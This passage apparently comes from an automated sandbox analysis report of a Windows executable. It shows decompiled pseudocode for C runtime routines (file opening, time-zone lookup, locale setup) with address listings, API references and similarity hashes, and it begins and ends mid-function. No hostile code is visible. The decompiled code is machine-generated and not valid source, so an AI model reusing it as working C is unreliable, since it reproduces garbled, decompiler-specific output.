											 *( *((intOrPtr*)(0x4ee718 + ( *_t190 >> 6) * 4)) + 0x28 + ( *_t190 & 0x0000003f) * 0x30) =  *( *((intOrPtr*)(0x4ee718 + ( *_t190 >> 6) * 4)) + 0x28 + ( *_t190 & 0x0000003f) * 0x30) & 0x000000fe;
											E004BCCE3( *_t190);
											L10:
											goto L2;
										}
									}
									_t269 = _t134;
									goto L22;
								} else {
									_t269 = E004C1F30(_t205,  *_t190);
									__eflags = _t269;
									if(__eflags != 0) {
										L22:
										E004B70C8(__eflags,  *_t190);
										return _t269;
									}
									goto L20;
								}
							}
							_t270 =  *0x4f0018();
							E004A9638(_t270);
							 *( *((intOrPtr*)(0x4ee718 + ( *_t190 >> 6) * 4)) + 0x28 + ( *_t190 & 0x0000003f) * 0x30) =  *( *((intOrPtr*)(0x4ee718 + ( *_t190 >> 6) * 4)) + 0x28 + ( *_t190 & 0x0000003f) * 0x30) & 0x000000fe;
							 *0x4f00ac(_t252);
							__eflags = _t270;
							if(_t270 == 0) {
								 *((intOrPtr*)(E004A966E())) = 0xd;
							}
							goto L2;
						}
						_t234 = _v44;
						__eflags = (_t234 & 0xc0000000) - 0xc0000000;
						if((_t234 & 0xc0000000) != 0xc0000000) {
							L9:
							_t235 =  *_t190;
							_t237 = (_t235 & 0x0000003f) * 0x30;
							_t180 =  *((intOrPtr*)(0x4ee718 + (_t235 >> 6) * 4));
							_t33 = _t180 + _t237 + 0x28;
							 *_t33 =  *(_t180 + _t237 + 0x28) & 0x000000fe;
							__eflags =  *_t33;
							E004A9638( *0x4f0018());
							goto L10;
						}
						__eflags = _a16 & 0x00000001;
						if((_a16 & 0x00000001) == 0) {
							goto L9;
						}
						_t284 = _t277 - 0x18;
						_v44 = _t234 & 0x7fffffff;
						_t239 = 6;
						_push( &_v24);
						_push(_a12);
						memcpy(_t284,  &_v48, _t239 << 2);
						_t197 = 0;
						_t252 = E004C1D1F();
						_t277 = _t284 + 0x2c;
						_v12 = _t252;
						__eflags = _t252 - 0xffffffff;
						if(_t252 != 0xffffffff) {
							goto L11;
						}
						goto L9;
					} else {
						 *(E004A965B()) =  *_t186 & 0x00000000;
						 *_t190 = _t263;
						 *((intOrPtr*)(E004A966E())) = 0x18;
						goto L2;
					}
				} else {
					 *(E004A965B()) =  *_t188 & 0x00000000;
					 *_a8 = _t263;
					L2:
					return  *((intOrPtr*)(E004A966E()));
				}
			}

0x004c2074
0x004c2078
0x004c2079
0x004c2079
0x004c2079
0x004c207b
0x004c2081
0x004c209c
0x004c20a1
0x004c20a4
0x004c20a6
0x004c20a8
0x004c20c7
0x004c20ce
0x004c20d5
0x004c20d8
0x004c20e4
0x004c20e7
0x004c20ef
0x004c20f0
0x004c20f3
0x004c20f3
0x004c20f5
0x004c20fa
0x004c20fc
0x004c20ff
0x004c2107
0x004c210a
0x004c2177
0x004c2178
0x004c217e
0x004c2180
0x004c21c9
0x004c21cc
0x004c21d5
0x004c21d8
0x004c21db
0x004c21dd
0x004c21dd
0x004c21dd
0x004c21ce
0x004c21d1
0x004c21d1
0x004c21e2
0x004c21e5
0x004c21f1
0x004c21f6
0x004c2202
0x004c220c
0x004c2210
0x004c221a
0x004c221d
0x004c2228
0x004c222d
0x004c223d
0x004c2240
0x004c2244
0x004c2245
0x004c224b
0x004c2250
0x004c2253
0x004c2255
0x004c2257
0x004c225c
0x004c225f
0x004c2261
0x004c228b
0x004c22af
0x004c22b3
0x004c22b7
0x004c22b9
0x004c22bd
0x004c22bf
0x004c22c9
0x004c22cc
0x004c22d3
0x004c22d3
0x004c22d3
0x004c22d3
0x004c22bd
0x004c22d8
0x004c22e4
0x004c22e6
0x004c2371
0x004c2371
0x00000000
0x004c22ec
0x004c22ec
0x004c22f0
0x00000000
0x00000000
0x004c22f5
0x004c2307
0x004c230d
0x004c2312
0x004c2313
0x004c2316
0x004c231d
0x004c2322
0x004c2325
0x004c2359
0x004c2363
0x004c2363
0x004c236d
0x00000000
0x004c236d
0x004c232e
0x004c2347
0x004c234e
0x004c2171
0x00000000
0x004c2171
0x004c22e6
0x004c2263
0x00000000
0x004c222f
0x004c2236
0x004c2239
0x004c223b
0x004c2265
0x004c2267
0x00000000
0x004c226d
0x00000000
0x004c223b
0x004c222d
0x004c2188
0x004c218b
0x004c21a6
0x004c21ab
0x004c21b1
0x004c21b3
0x004c21be
0x004c21be
0x00000000
0x004c21b3
0x004c210c
0x004c2113
0x004c2115
0x004c214c
0x004c214c
0x004c2156
0x004c2159
0x004c2160
0x004c2160
0x004c2160
0x004c216c
0x00000000
0x004c216c
0x004c2117
0x004c211b
0x00000000
0x00000000
0x004c211d
0x004c212c
0x004c2131
0x004c2134
0x004c2135
0x004c2138
0x004c2138
0x004c213f
0x004c2141
0x004c2144
0x004c2147
0x004c214a
0x00000000
0x00000000
0x00000000
0x004c20aa
0x004c20af
0x004c20b2
0x004c20b9
0x00000000
0x004c20b9
0x004c2083
0x004c2088
0x004c208e
0x004c2090
0x00000000
0x004c2095

APIs

Part of subcall function 004C1D1F: CreateFileW.KERNEL32(00000000,00000000,?,004C20FA,?,?,00000000,?,004C20FA,00000000,0000000C), ref: 004C1D3C

__dosmaperr.LIBCMT ref: 004C216C
GetFileType.KERNEL32(00000000), ref: 004C2178
__dosmaperr.LIBCMT ref: 004C218B
__dosmaperr.LIBCMT ref: 004C232E

Strings

H, xrefs: 004C22B3

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: d95a3963b6923a39c3ee36a4758d179d0a1a6ae2e2317d8aee999fcc6204156c
Instruction ID: eb7d56441f1e7b20ef5340d7ba0ab152a2973ed329dca8df0a0fa19fdb2e889e
Opcode Fuzzy Hash: d95a3963b6923a39c3ee36a4758d179d0a1a6ae2e2317d8aee999fcc6204156c
Instruction Fuzzy Hash: D3A1393AA041449FDF19DF78D891BAE7BA19F06324F18015EE801DF3A2CBB99D12C759

Uniqueness

Uniqueness Score: -1.00%

Function 004BA1EE, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 171
timeCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E004BA1EE(void* __ebx, void* __edi, void* __esi) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				char _v20;
				signed int _v56;
				char _v268;
				intOrPtr _v272;
				char _v276;
				char _v312;
				char _v316;
				void* __ebp;
				void* _t36;
				signed int _t38;
				signed int _t42;
				signed int _t50;
				long _t56;
				signed int* _t59;
				intOrPtr _t69;
				void* _t76;
				signed int _t83;
				signed int _t85;
				signed int _t87;
				void* _t91;
				intOrPtr* _t94;
				signed int _t98;
				signed int _t99;
				signed int _t104;
				signed int _t105;
				intOrPtr _t113;
				intOrPtr _t115;

				_t86 = __edi;
				_t94 = E004B99E4();
				_v8 = 0;
				_v12 = 0;
				_v16 = 0;
				_t36 = E004B9A42( &_v8);
				_pop(_t76);
				if(_t36 != 0) {
					L19:
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E004A5EA4(_t36);
					asm("int3");
					_t104 = _t105;
					_t38 =  *0x4eb018; // 0x6027d6a0
					_v56 = _t38 ^ _t104;
					 *0x4eb464 =  *0x4eb464 | 0xffffffff;
					 *0x4eb458 =  *0x4eb458 | 0xffffffff;
					_push(0);
					_push(_t94);
					_t75 = "TZ";
					_t87 = 0;
					 *0x4eea10 = 0;
					_t42 = E004AC555(__eflags,  &_v316,  &_v312, 0x100, "TZ");
					__eflags = _t42;
					if(_t42 != 0) {
						__eflags = _t42 - 0x22;
						if(_t42 == 0x22) {
							_t99 = E004B3009(_t76, _v272);
							__eflags = _t99;
							if(__eflags != 0) {
								_t50 = E004AC555(__eflags,  &_v276, _t99, _v272, _t75);
								__eflags = _t50;
								if(_t50 == 0) {
									E004B2FCF(0);
									_t87 = _t99;
								} else {
									_push(_t99);
									goto L25;
								}
							} else {
								_push(0);
								L25:
								E004B2FCF();
							}
						}
					} else {
						_t87 =  &_v268;
					}
					asm("sbb esi, esi");
					_t98 =  ~(_t87 -  &_v268) & _t87;
					__eflags = _t87;
					if(_t87 == 0) {
						L33:
						E004BA1EE(_t75, _t87, _t98); // executed
					} else {
						__eflags =  *_t87;
						if( *_t87 == 0) {
							goto L33;
						} else {
							_push(_t87);
							E004BA019(_t75, _t87, _t98);
						}
					}
					E004B2FCF(_t98);
					__eflags = _v12 ^ _t104;
					return E0049CE1D(_v12 ^ _t104);
				} else {
					_t36 = E004B99EA( &_v12);
					_pop(_t76);
					if(_t36 != 0) {
						goto L19;
					} else {
						_t36 = E004B9A16( &_v16);
						_pop(_t76);
						if(_t36 != 0) {
							goto L19;
						} else {
							E004B2FCF( *0x4eea08);
							 *0x4eea08 = 0;
							 *_t105 = 0x4eea18; // executed
							_t56 = GetTimeZoneInformation(??); // executed
							if(_t56 != 0xffffffff) {
								_t83 =  *0x4eea18 * 0x3c;
								_t85 =  *0x4eea6c; // 0x0
								_push(__edi);
								 *0x4eea10 = 1;
								_v8 = _t83;
								_t113 =  *0x4eea5e; // 0xa
								if(_t113 != 0) {
									_v8 = _t83 + _t85 * 0x3c;
								}
								_t115 =  *0x4eeab2; // 0x3
								if(_t115 == 0) {
									L9:
									_v12 = 0;
									_v16 = 0;
								} else {
									_t69 =  *0x4eeac0; // 0xffffffc4
									if(_t69 == 0) {
										goto L9;
									} else {
										_v12 = 1;
										_v16 = (_t69 - _t85) * 0x3c;
									}
								}
								_t91 = E004AE4AF();
								_push( &_v20);
								_push(0);
								_push(0x3f);
								_push( *_t94);
								_push(0xffffffff);
								_push("W. Europe Standard Time");
								_push(0);
								_push(_t91);
								if( *0x4f003c() == 0 || _v20 != 0) {
									 *((char*)( *_t94)) = 0;
								} else {
									 *((char*)( *_t94 + 0x3f)) = 0;
								}
								_push( &_v20);
								_push(0);
								_push(0x3f);
								_push( *((intOrPtr*)(_t94 + 4)));
								_push(0xffffffff);
								_push("W. Europe Daylight Time");
								_push(0);
								_push(_t91);
								if( *0x4f003c() == 0 || _v20 != 0) {
									 *((char*)( *((intOrPtr*)(_t94 + 4)))) = 0;
								} else {
									 *((char*)( *((intOrPtr*)(_t94 + 4)) + 0x3f)) = 0;
								}
							}
							 *(E004B99DE()) = _v8;
							 *(E004B99D2()) = _v12;
							_t59 = E004B99D8();
							 *_t59 = _v16;
							return _t59;
						}
					}
				}
			}

0x004ba1ee
0x004ba1fd
0x004ba204
0x004ba208
0x004ba20b
0x004ba20e
0x004ba213
0x004ba216
0x004ba33e
0x004ba33e
0x004ba33f
0x004ba340
0x004ba341
0x004ba342
0x004ba343
0x004ba348
0x004ba34c
0x004ba354
0x004ba35b
0x004ba35e
0x004ba36b
0x004ba372
0x004ba373
0x004ba375
0x004ba37a
0x004ba389
0x004ba390
0x004ba398
0x004ba39a
0x004ba3a4
0x004ba3a7
0x004ba3b4
0x004ba3b7
0x004ba3b9
0x004ba3d2
0x004ba3da
0x004ba3dc
0x004ba3e2
0x004ba3e7
0x004ba3de
0x004ba3de
0x00000000
0x004ba3de
0x004ba3bb
0x004ba3bb
0x004ba3bc
0x004ba3bc
0x004ba3bc
0x004ba3e9
0x004ba39c
0x004ba39c
0x004ba39c
0x004ba3f6
0x004ba3f8
0x004ba3fa
0x004ba3fc
0x004ba40c
0x004ba40c
0x004ba3fe
0x004ba3fe
0x004ba401
0x00000000
0x004ba403
0x004ba403
0x004ba404
0x004ba409
0x004ba401
0x004ba412
0x004ba41d
0x004ba428
0x004ba21c
0x004ba220
0x004ba225
0x004ba228
0x00000000
0x004ba22e
0x004ba232
0x004ba237
0x004ba23a
0x00000000
0x004ba240
0x004ba246
0x004ba24b
0x004ba251
0x004ba258
0x004ba261
0x004ba267
0x004ba26e
0x004ba274
0x004ba278
0x004ba27e
0x004ba281
0x004ba288
0x004ba28f
0x004ba28f
0x004ba292
0x004ba299
0x004ba2b1
0x004ba2b1
0x004ba2b4
0x004ba29b
0x004ba29b
0x004ba2a2
0x00000000
0x004ba2a4
0x004ba2a6
0x004ba2ac
0x004ba2ac
0x004ba2a2
0x004ba2bc
0x004ba2c1
0x004ba2c2
0x004ba2c3
0x004ba2c5
0x004ba2c7
0x004ba2c9
0x004ba2ce
0x004ba2cf
0x004ba2d8
0x004ba2e8
0x004ba2df
0x004ba2e1
0x004ba2e1
0x004ba2ed
0x004ba2ee
0x004ba2ef
0x004ba2f1
0x004ba2f4
0x004ba2f6
0x004ba2fb
0x004ba2fc
0x004ba306
0x004ba318
0x004ba30d
0x004ba310
0x004ba310
0x004ba306
0x004ba322
0x004ba32c
0x004ba331
0x004ba336
0x004ba33d
0x004ba33d
0x004ba23a
0x004ba228

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,004078B0), ref: 004BA258
_free.LIBCMT ref: 004BA246

Part of subcall function 004B2FCF: RtlFreeHeap.NTDLL(00000000,00000000,?,004BD54B,?,00000000,?,00000000,?,004BD7EF,?,00000007,?,?,004BDBE3,?), ref: 004B2FE5

_free.LIBCMT ref: 004BA412

Strings

W. Europe Daylight Time, xrefs: 004BA2F6
W. Europe Standard Time, xrefs: 004BA2C9

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free$FreeHeapInformationTimeZone
String ID: W. Europe Daylight Time$W. Europe Standard Time
API String ID: 3087893232-986674615
Opcode ID: f96e1f1345f5607ad03e7cb585f22dbf5bd1e39733509645ea11963a3bcb89fb
Instruction ID: 04d357e43d8f1236085cb2fae0f105b059e6b35124029796e58893bf4759febd
Opcode Fuzzy Hash: f96e1f1345f5607ad03e7cb585f22dbf5bd1e39733509645ea11963a3bcb89fb
Instruction Fuzzy Hash: 6951F671800259ABCB10EF6A9C859EB77B8EF45310B1046BFE510A7392E7389E518B79

Uniqueness

Uniqueness Score: -1.00%

Function 004B2407, Relevance: 7.7, APIs: 5, Instructions: 187
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E004B2407(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v36;
				signed int _v40;
				intOrPtr _v44;
				signed int _v56;
				char _v276;
				short _v278;
				short _v280;
				char _v448;
				signed int _v452;
				signed int _v456;
				short _v458;
				intOrPtr _v460;
				intOrPtr _v464;
				signed int _v468;
				signed int _v472;
				intOrPtr _v508;
				char _v536;
				signed int _v540;
				intOrPtr _v544;
				signed int _v556;
				char _v708;
				signed int _v712;
				signed int _v716;
				short _v718;
				signed int* _v720;
				signed int _v724;
				signed int _v728;
				signed int _v732;
				signed int* _v736;
				signed int _v740;
				signed int _v744;
				signed int _v748;
				signed int _v752;
				char _v820;
				char _v1248;
				char _v1256;
				intOrPtr _v1276;
				signed int _v1292;
				signed int _t239;
				signed int _t241;
				void* _t244;
				signed int _t247;
				signed int _t249;
				signed int _t255;
				signed int _t256;
				signed int _t257;
				signed int _t258;
				signed int _t259;
				signed int _t261;
				signed int _t263;
				void* _t265;
				signed int _t266;
				signed int _t267;
				signed int _t268;
				signed int _t270;
				signed int _t273;
				signed int _t280;
				signed int _t281;
				signed int _t282;
				intOrPtr _t283;
				signed int _t286;
				signed int _t290;
				signed int _t291;
				intOrPtr _t293;
				signed int _t296;
				signed int _t297;
				signed int _t299;
				signed int _t319;
				signed int _t320;
				signed int _t323;
				signed int _t328;
				void* _t330;
				signed int _t332;
				void* _t333;
				intOrPtr _t334;
				signed int _t339;
				signed int _t340;
				intOrPtr* _t343;
				signed int _t357;
				signed int _t359;
				signed int _t361;
				intOrPtr* _t362;
				signed int _t364;
				signed int _t370;
				intOrPtr* _t374;
				intOrPtr* _t377;
				void* _t380;
				intOrPtr* _t381;
				intOrPtr* _t382;
				signed int _t393;
				signed int _t396;
				intOrPtr* _t397;
				signed int _t399;
				signed int* _t403;
				intOrPtr* _t410;
				intOrPtr* _t411;
				intOrPtr _t420;
				signed int _t421;
				short _t422;
				void* _t424;
				signed int _t425;
				signed int _t427;
				intOrPtr _t428;
				signed int _t431;
				intOrPtr _t432;
				signed int _t434;
				signed int _t437;
				intOrPtr _t443;
				signed int _t444;
				signed int _t446;
				signed int _t447;
				signed int _t450;
				signed int _t452;
				signed int _t456;
				signed int* _t457;
				intOrPtr* _t458;
				short _t459;
				void* _t461;
				signed int _t463;
				signed int _t465;
				void* _t467;
				void* _t468;
				void* _t470;
				signed int _t471;
				void* _t472;
				void* _t474;
				signed int _t475;
				void* _t477;
				void* _t479;
				intOrPtr _t491;

				_t420 = __edx;
				_t461 = _t467;
				_t468 = _t467 - 0xc;
				_push(__ebx);
				_push(__esi);
				_v12 = 1;
				_t239 = E004B3009(__ecx, 0x6a6); // executed
				_t357 = _t239;
				_t240 = 0;
				_pop(_t370);
				if(_t357 == 0) {
					L20:
					return _t240;
				} else {
					_push(__edi);
					_t427 = _t357 + 4;
					 *_t427 = 0;
					 *_t357 = 1;
					_t443 = _a4;
					_t4 = _t443 + 0x30; // 0x4b1c06
					_t241 = _t4;
					_push( *_t241);
					_v16 = _t241;
					_push(0x4068a4);
					_push( *0x40675c);
					E004B2346(_t357, _t427, _t443, _t427, 0x351, 3);
					_t470 = _t468 + 0x18;
					_v8 = 0x40675c;
					while(1) {
						L2:
						_t244 = E004BC93B(_t427, 0x351, 0x4068a0);
						_t471 = _t470 + 0xc;
						if(_t244 != 0) {
							break;
						} else {
							_t8 = _v16 + 0x10; // 0x10
							_t410 = _t8;
							_t339 =  *_v16;
							_v16 = _t410;
							_t411 =  *_t410;
							goto L4;
						}
						while(1) {
							L4:
							_t420 =  *_t339;
							if(_t420 !=  *_t411) {
								break;
							}
							if(_t420 == 0) {
								L8:
								_t340 = 0;
							} else {
								_t420 =  *((intOrPtr*)(_t339 + 2));
								if(_t420 !=  *((intOrPtr*)(_t411 + 2))) {
									break;
								} else {
									_t339 = _t339 + 4;
									_t411 = _t411 + 4;
									if(_t420 != 0) {
										continue;
									} else {
										goto L8;
									}
								}
							}
							L10:
							asm("sbb eax, eax");
							_t370 = _v8 + 0xc;
							_v8 = _t370;
							_v12 = _v12 &  !( ~_t340);
							_t343 = _v16;
							_v16 = _t343;
							_push( *_t343);
							_push(0x4068a4);
							_push( *_t370);
							E004B2346(_t357, _t427, _t443, _t427, 0x351, 3);
							_t470 = _t471 + 0x18;
							if(_v8 < 0x40678c) {
								goto L2;
							} else {
								if(_v12 != 0) {
									E004B2FCF(_t357); // executed
									_t31 = _t443 + 0x28; // 0x30ff068b
									_t434 = _t427 | 0xffffffff;
									__eflags =  *_t31;
									if(__eflags != 0) {
										asm("lock xadd [ecx], eax");
										if(__eflags == 0) {
											_t32 = _t443 + 0x28; // 0x30ff068b
											E004B2FCF( *_t32);
										}
									}
									_t33 = _t443 + 0x24; // 0x30ff0c46
									__eflags =  *_t33;
									if( *_t33 != 0) {
										asm("lock xadd [eax], edi");
										__eflags = _t434 == 1;
										if(_t434 == 1) {
											_t34 = _t443 + 0x24; // 0x30ff0c46
											E004B2FCF( *_t34);
										}
									}
									 *(_t443 + 0x24) = 0;
									 *(_t443 + 0x1c) = 0;
									 *(_t443 + 0x28) = 0;
									 *((intOrPtr*)(_t443 + 0x20)) = 0;
									_t39 = _t443 + 0x40; // 0x10468b00
									_t240 =  *_t39;
								} else {
									_t20 = _t443 + 0x28; // 0x30ff068b
									_t437 = _t427 | 0xffffffff;
									_t491 =  *_t20;
									if(_t491 != 0) {
										asm("lock xadd [ecx], eax");
										if(_t491 == 0) {
											_t21 = _t443 + 0x28; // 0x30ff068b
											E004B2FCF( *_t21);
										}
									}
									_t22 = _t443 + 0x24; // 0x30ff0c46
									if( *_t22 != 0) {
										asm("lock xadd [eax], edi");
										if(_t437 == 1) {
											_t23 = _t443 + 0x24; // 0x30ff0c46
											E004B2FCF( *_t23);
										}
									}
									 *(_t443 + 0x24) =  *(_t443 + 0x24) & 0x00000000;
									_t240 = _t357 + 4;
									 *(_t443 + 0x1c) =  *(_t443 + 0x1c) & 0x00000000;
									 *(_t443 + 0x28) = _t357;
									 *((intOrPtr*)(_t443 + 0x20)) = _t240;
								}
								goto L20;
							}
							goto L130;
						}
						asm("sbb eax, eax");
						_t340 = _t339 | 0x00000001;
						__eflags = _t340;
						goto L10;
					}
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E004A5EA4(0);
					asm("int3");
					_push(_t461);
					_t463 = _t471;
					_t472 = _t471 - 0x1d0;
					_t247 =  *0x4eb018; // 0x6027d6a0
					_v56 = _t247 ^ _t463;
					_t249 = _v40;
					_push(_t357);
					_push(_t443);
					_t444 = _v36;
					_push(_t427);
					_t428 = _v44;
					_v508 = _t428;
					__eflags = _t249;
					if(_t249 == 0) {
						_v456 = 1;
						_v468 = 0;
						_t359 = 0;
						_v452 = 0;
						__eflags = _t444;
						if(__eflags == 0) {
							L79:
							E004B2407(_t359, _t370, _t420, _t428, _t444, __eflags, _t428); // executed
							goto L80;
						} else {
							__eflags =  *_t444 - 0x4c;
							if( *_t444 != 0x4c) {
								L58:
								_push(0);
								_t255 = E004B1FCF(_t359, _t420, _t428, _t444, _t444,  &_v276, 0x83,  &_v448, 0x55);
								_t474 = _t472 + 0x18;
								__eflags = _t255;
								if(_t255 != 0) {
									_t370 = 0;
									__eflags = 0;
									_t76 = _t428 + 0x20; // 0x4b1bf6
									_t421 = _t76;
									_t446 = 0;
									_v452 = _t421;
									do {
										__eflags = _t446;
										if(_t446 == 0) {
											L73:
											_t256 = _v456;
										} else {
											_t374 =  *_t421;
											_t257 =  &_v276;
											while(1) {
												__eflags =  *_t257 -  *_t374;
												_t428 = _v464;
												if( *_t257 !=  *_t374) {
													break;
												}
												__eflags =  *_t257;
												if( *_t257 == 0) {
													L66:
													_t370 = 0;
													_t258 = 0;
												} else {
													_t422 =  *((intOrPtr*)(_t257 + 2));
													__eflags = _t422 -  *((intOrPtr*)(_t374 + 2));
													_v458 = _t422;
													_t421 = _v452;
													if(_t422 !=  *((intOrPtr*)(_t374 + 2))) {
														break;
													} else {
														_t257 = _t257 + 4;
														_t374 = _t374 + 4;
														__eflags = _v458;
														if(_v458 != 0) {
															continue;
														} else {
															goto L66;
														}
													}
												}
												L68:
												__eflags = _t258;
												if(_t258 == 0) {
													_t359 = _t359 + 1;
													__eflags = _t359;
													goto L73;
												} else {
													_t259 =  &_v276;
													_push(_t259);
													_push(_t446);
													_push(_t428);
													L83();
													_t421 = _v452;
													_t474 = _t474 + 0xc;
													__eflags = _t259;
													if(_t259 == 0) {
														_t370 = 0;
														_t256 = 0;
														_v456 = 0;
													} else {
														_t359 = _t359 + 1;
														_t370 = 0;
														goto L73;
													}
												}
												goto L74;
											}
											asm("sbb eax, eax");
											_t258 = _t257 | 0x00000001;
											_t370 = 0;
											__eflags = 0;
											goto L68;
										}
										L74:
										_t446 = _t446 + 1;
										_t421 = _t421 + 0x10;
										_v452 = _t421;
										__eflags = _t446 - 5;
									} while (_t446 <= 5);
									__eflags = _t256;
									if(__eflags != 0) {
										goto L79;
									} else {
										__eflags = _t359;
										goto L77;
									}
								}
								goto L80;
							} else {
								__eflags =  *(_t444 + 2) - 0x43;
								if( *(_t444 + 2) != 0x43) {
									goto L58;
								} else {
									__eflags =  *((short*)(_t444 + 4)) - 0x5f;
									if( *((short*)(_t444 + 4)) != 0x5f) {
										goto L58;
									} else {
										while(1) {
											_t261 = E004BD989(_t444, 0x406898);
											_t361 = _t261;
											_v472 = _t361;
											_pop(_t376);
											__eflags = _t361;
											if(_t361 == 0) {
												break;
											}
											_t263 = _t261 - _t444;
											__eflags = _t263;
											_v456 = _t263 >> 1;
											if(_t263 == 0) {
												break;
											} else {
												_t265 = 0x3b;
												__eflags =  *_t361 - _t265;
												if( *_t361 == _t265) {
													break;
												} else {
													_t431 = _v456;
													_t362 = 0x40675c;
													_v460 = 1;
													do {
														_t266 = E004B2F38( *_t362, _t444, _t431);
														_t472 = _t472 + 0xc;
														__eflags = _t266;
														if(_t266 != 0) {
															goto L45;
														} else {
															_t377 =  *_t362;
															_t420 = _t377 + 2;
															do {
																_t334 =  *_t377;
																_t377 = _t377 + 2;
																__eflags = _t334 - _v468;
															} while (_t334 != _v468);
															_t376 = _t377 - _t420 >> 1;
															__eflags = _t431 - _t377 - _t420 >> 1;
															if(_t431 != _t377 - _t420 >> 1) {
																goto L45;
															}
														}
														break;
														L45:
														_v460 = _v460 + 1;
														_t362 = _t362 + 0xc;
														__eflags = _t362 - 0x40678c;
													} while (_t362 <= 0x40678c);
													_t359 = _v472 + 2;
													_t267 = E004BD939(_t376, _t359, 0x4068a0);
													_t428 = _v464;
													_t447 = _t267;
													_pop(_t380);
													__eflags = _t447;
													if(_t447 != 0) {
														L48:
														__eflags = _v460 - 5;
														if(_v460 > 5) {
															_t268 = _v452;
															goto L54;
														} else {
															_push(_t447);
															_t270 = E004AE171(_t380,  &_v276, 0x83, _t359);
															_t475 = _t472 + 0x10;
															__eflags = _t270;
															if(_t270 != 0) {
																L82:
																_push(0);
																_push(0);
																_push(0);
																_push(0);
																_push(0);
																E004A5EA4(0);
																asm("int3");
																_push(_t463);
																_t465 = _t475;
																_t273 =  *0x4eb018; // 0x6027d6a0
																_v556 = _t273 ^ _t465;
																_push(_t359);
																_t364 = _v540;
																_push(_t447);
																_push(_t428);
																_t432 = _v544;
																_v1292 = _t364;
																_v1276 = E004B361B(_t364, _t380, _t420) + 0x278;
																_push( &_v1256);
																_t280 = E004B1FCF(_t364, _t420, _t432, _v536, _v536,  &_v820, 0x83,  &_v1248, 0x55);
																_t477 = _t475 - 0x2e4 + 0x18;
																__eflags = _t280;
																if(_t280 != 0) {
																	_t101 = _t364 + 2; // 0x8
																	_t450 = _t101 << 4;
																	__eflags = _t450;
																	_t281 =  &_v280;
																	_v724 = _t450;
																	_t381 =  *((intOrPtr*)(_t450 + _t432));
																	while(1) {
																		_v712 = _v712 & 0x00000000;
																		__eflags =  *_t281 -  *_t381;
																		_t452 = _v724;
																		if( *_t281 !=  *_t381) {
																			break;
																		}
																		__eflags =  *_t281;
																		if( *_t281 == 0) {
																			L91:
																			_t282 = _v712;
																		} else {
																			_t459 =  *((intOrPtr*)(_t281 + 2));
																			__eflags = _t459 -  *((intOrPtr*)(_t381 + 2));
																			_v718 = _t459;
																			_t452 = _v724;
																			if(_t459 !=  *((intOrPtr*)(_t381 + 2))) {
																				break;
																			} else {
																				_t281 = _t281 + 4;
																				_t381 = _t381 + 4;
																				__eflags = _v718;
																				if(_v718 != 0) {
																					continue;
																				} else {
																					goto L91;
																				}
																			}
																		}
																		L93:
																		__eflags = _t282;
																		if(_t282 != 0) {
																			_t382 =  &_v280;
																			_t424 = _t382 + 2;
																			do {
																				_t283 =  *_t382;
																				_t382 = _t382 + 2;
																				__eflags = _t283 - _v712;
																			} while (_t283 != _v712);
																			_v728 = (_t382 - _t424 >> 1) + 1;
																			_t286 = E004B3009(_t382 - _t424 >> 1, 4 + ((_t382 - _t424 >> 1) + 1) * 2);
																			_v740 = _t286;
																			__eflags = _t286;
																			if(_t286 == 0) {
																				goto L84;
																			} else {
																				_v732 =  *((intOrPtr*)(_t452 + _t432));
																				_t125 = _t364 * 4; // 0xbf9d
																				_v744 =  *((intOrPtr*)(_t432 + _t125 + 0xa0));
																				_t128 = _t432 + 8; // 0x8b56ff8b
																				_v748 =  *_t128;
																				_t391 =  &_v280;
																				_v720 = _t286 + 4;
																				_t290 = E004ADE87(_t286 + 4, _v728,  &_v280);
																				_t479 = _t477 + 0xc;
																				__eflags = _t290;
																				if(_t290 != 0) {
																					_t291 = _v712;
																					_push(_t291);
																					_push(_t291);
																					_push(_t291);
																					_push(_t291);
																					_push(_t291);
																					E004A5EA4(_t291);
																					asm("int3");
																					_t293 =  *0x4ee700; // 0x0
																					return _t293;
																				} else {
																					__eflags = _v280 - 0x43;
																					 *((intOrPtr*)(_t452 + _t432)) = _v720;
																					if(_v280 != 0x43) {
																						L102:
																						_t296 = E004B1CDC(_t364, _t391, _t432,  &_v708);
																						_t393 = _v712;
																						 *(_t432 + 0xa0 + _t364 * 4) = _t296;
																					} else {
																						__eflags = _v278;
																						if(_v278 != 0) {
																							goto L102;
																						} else {
																							_t393 = _v712;
																							 *(_t432 + 0xa0 + _t364 * 4) = _t393;
																						}
																					}
																					__eflags = _t364 - 2;
																					if(_t364 != 2) {
																						__eflags = _t364 - 1;
																						if(_t364 != 1) {
																							__eflags = _t364 - 5;
																							if(_t364 == 5) {
																								 *((intOrPtr*)(_t432 + 0x14)) = _v716;
																							}
																						} else {
																							 *((intOrPtr*)(_t432 + 0x10)) = _v716;
																						}
																					} else {
																						_t457 = _v736;
																						_t425 = _t393;
																						_t403 = _t457;
																						 *(_t432 + 8) = _v716;
																						_v720 = _t457;
																						_v728 = _t457[8];
																						_v716 = _t457[9];
																						while(1) {
																							_t154 = _t432 + 8; // 0x8b56ff8b
																							__eflags =  *_t154 -  *_t403;
																							if( *_t154 ==  *_t403) {
																								break;
																							}
																							_t458 = _v720;
																							_t425 = _t425 + 1;
																							_t328 =  *_t403;
																							 *_t458 = _v728;
																							_v716 = _t403[1];
																							_t403 = _t458 + 8;
																							 *((intOrPtr*)(_t458 + 4)) = _v716;
																							_t364 = _v752;
																							_t457 = _v736;
																							_v728 = _t328;
																							_v720 = _t403;
																							__eflags = _t425 - 5;
																							if(_t425 < 5) {
																								continue;
																							} else {
																							}
																							L110:
																							__eflags = _t425 - 5;
																							if(_t425 == 5) {
																								_t178 = _t432 + 8; // 0x8b56ff8b
